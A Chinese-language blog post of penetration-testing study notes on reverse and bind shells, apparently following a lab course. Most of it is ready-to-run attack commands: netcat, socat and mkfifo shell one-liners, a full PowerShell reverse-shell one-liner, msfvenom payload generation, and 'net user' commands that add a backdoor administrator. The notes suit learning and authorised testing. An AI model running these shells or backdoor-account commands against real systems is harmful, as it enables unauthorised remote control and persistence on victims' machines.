反弹shell

反弹shell

msfvenom,

什么是shell?

shell是我们在与命令行环境(CLI)接口时使用的。换句话说,Linux中常见的bash或sh程序是shell的例子,Windows上的cmd.exe和Powershell也是如此.当面向远程系统时,有时可以强制在服务器上运行的应用程序(例如 Web 服务器)执行任意代码。发生这种情况时,我们希望使用此初始访问权限来获取在目标上运行的 shell。

简单来说,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者在服务器上打开一个端口,我们可以连接到该端口以执行进一步的命令(绑定shell)。

工具

netcat:Netcat是网络的传统“瑞士军刀”。它用于手动执行各种网络交互,包括枚举期间的横幅抓取等操作,但更重要的是,对于我们的用途,它可用于接收反向 shell 并连接到连接到远程端口以绑定目标系统上的 shell。默认情况下,Netcat shell 非常不稳定(容易丢失),但可以通过我们将在即将到来的任务中介绍的技术来改进。

socat:Socat shell 通常比开箱即用的 netcat shell 更稳定。从这个意义上说,它远远优于网猫;但是,有两个大问题:

语法比较困难
默认情况下,Netcat 几乎安装在每个 Linux 发行版上。默认情况下,Socat 很少安装。

msfvenom

Metasploit multi/handler

shell的种类

正向shell:是指使用在目标上执行的代码来启动直接附加到目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可以通过保护目标的防火墙来阻止。

反向shell:是指强制目标执行连接回计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向外壳是绕过防火墙规则的好方法,防火墙规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过 Internet 从计算机接收 shell 时,您需要配置自己的网络以接受 shell。

反向shell实例

攻击机:
sudo nc -lvnp 443
靶机:
nc <LOCAL-ip> <port> -e /bin/bash

正向shell实例

靶机:nc -lvnp 443 -e /bin/bash

攻击机:nc MACHINE_IP <port>

netcat

反向 使用 Linux 启动 netcat 侦听器

netcat -lvnp <port-number>

  • -l 用于告诉 netcat 这将是一个侦听器
  • -v 用于请求详细输出
  • -n 告诉 netcat 不要解析主机名或使用 DNS。
  • -p 表示将遵循端口规范。

正向 假设在目标的选定端口上已经有一个侦听器在等待我们:我们需要做的就是连接到它

nc <target-ip> <port>

shell的稳定

默认情况下,这些shell非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且通常具有奇怪的格式错误。这是由于netcat“shell”实际上是在终端内运行的进程,而不是真正的终端。幸运的是,有很多方法可以在Linux系统上稳定netcat shell。

  • python
1. 使用python生成一个更好的bash shell;某些目标可能需要指定python的版本,此时shell会更方便,但是无法使用tab自动填充,并且Ctrl+C会杀死shell

python -c 'import pty;pty.spawn("/bin/bash")'

2. export TERM=xterm clear
使我们能够使用访问术语命令

3. stty raw -echo; fg
我们将使用 Ctrl + Z 为shell设置背景。回到我们自己的终端,我们使用 .这做了两件事:首先,它关闭了我们自己的终端回显(这使我们能够访问选项卡自动完成、箭头键和 Ctrl + C 来终止进程)。然后,它将shell置于前景,从而完成该过程。

  • rlwrap
rlwrap nc -lvnp <port>

在netcat侦听器前面加上“rlwrap”,给了我们一个功能更齐全的shell。这种技术在处理Windows外壳时特别有用,否则很难稳定。在处理 Linux 目标时,可以使用与先前技术的步骤 3 相同的技巧来完全稳定.使用 Ctrl + Z 背景外壳,然后用于稳定并重新进入 shell。

stty raw -echo; fg

使用python开启80web服务器

python -m http.server 80

Socat

反向shell

socat 中基本反向外壳侦听器的语法:

socat TCP-L:<port> -

与 socat 一样,这是采用两个点(侦听端口和标准输入)并将它们连接在一起。生成的 shell 不稳定,但这可以在 Linux 或 Windows 上运行,并且等效于 。nc -lvnp <port>

在Windows上,我们将使用此命令重新连接:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。

这是 Linux 目标的等效命令:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

正向shell

在 Linux 目标上,我们将使用以下命令:
socat TCP-L:<PORT> EXEC:"bash -li"

在 Windows 目标上,我们将对侦听器使用此命令:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

我们使用“pipes”参数在Unix和Windows之间接口,以处理CLI环境中的输入和输出。

无论目标是什么,我们都在攻击机器上使用此命令连接到等待的侦听器。

socat TCP:<TARGET-IP>:<TARGET-PORT> -

完全稳定的 Linux tty 反向 shell
socat TCP-L:<port> FILE:`tty`,raw,echo=0

特殊命令如下:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

PTY,在目标上分配一个伪终端 - 稳定过程的一部分
stderr,确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
sigint,将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 内终止命令
setsid,在新会话中创建进程
sane,稳定终端,试图“正常化”它。

加密文件shell.pem

现在,当我们设置反向 shell 侦听器时,我们使用:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

这会使用我们生成的证书设置 OPENSSL 侦听器。 告诉连接不要费心尝试验证我们的证书是否已由公认的颁发机构正确签名。请注意,必须在正在侦听的任何设备上使用该证书。verify=0

要重新连接,我们将使用:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

同样的技术也适用于绑定外壳:
目标:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

攻击者:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

测试

使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和一个名为“encrypt.pem”的 PEM 文件。
socat openssl-listen:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

如果您的 IP 是 10.10.10.5,您将使用什么语法来连接回此侦听器?
socat openssl:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

shell的有效载荷

mkfifo:用来在 Linux 中创建命名管道

在 Linux 上,我们将使用此代码为绑定 shell 创建侦听器
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

该命令首先在/tmp/f处创建一个命名管道。然后,它启动 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)直接通过管道传输到 ,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入中,从而完成循环。

一个非常相似的命令可以用来发送一个netcat反向shell:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

当面向现代Windows服务器时,通常需要Powershell反向shell,因此我们将在这里介绍标准的单行PSH反向shell。

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

为了使用它,我们需要将“<IP>”和“<端口>替换为适当的IP和端口选择。然后可以将其复制到cmd.exe shell(或在Windows服务器上执行命令的另一种方法,例如webshell)并执行,从而产生反向shell:

msfvenom

Msfvenom:所有与有效载荷相关的一站式商店。

.exe.aspx.war.py

msfvenom 的标准语法如下:

msfvenom -p <PAYLOAD> <OPTIONS>

例如,要生成 exe 格式的 Windows x64 反向外壳,我们可以使用:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

-f <格式>
指定输出格式。在这种情况下,这是一个可执行文件(exe)
-o <文件>
生成的有效负载的输出位置和文件名。
LHOST=<IP>
指定要连接到的 IP
LPORT=<port>
本地计算机上要连接的端口

使用 msfvenom 时,了解命名系统的工作原理非常重要。基本约定如下:

<OS>/<arch>/<payload>

例如:
linux/x86/shell_reverse_tcp

由于暂存有效负载用另一个正斜杠 () 表示。/

此规则也适用于 Meterpreter 有效负载。Windows 64位暂存的Meterpreter有效负载如下所示:

windows/x64/meterpreter/reverse_tcp

Linux 32位无阶段Meterpreter有效负载如下所示:

linux/x86/meterpreter_reverse_tcp

除了手册页之外,使用 msfvenom 时要注意的另一件重要事情是:msfconsole

msfvenom --list payloads

这可用于列出所有可用的有效负载,然后可以通过管道将其传送到其中以搜索一组特定的有效负载。例如:grep

理想情况下,在Windows上,您将获得以系统用户身份运行的shell,或以高权限运行的管理员帐户。在这种情况下,只需将您自己的帐户(在管理员组中)添加到计算机,然后通过RDP,telnet,winexe,psexec,WinRM或任何其他方法登录,具体取决于机器上运行的服务。

其语法如下:

net user <username> <password> /add

net localgroup administrators <username> /add
posted @ 2023-02-27 16:23  gvpn  阅读(162)  评论(0编辑  收藏  举报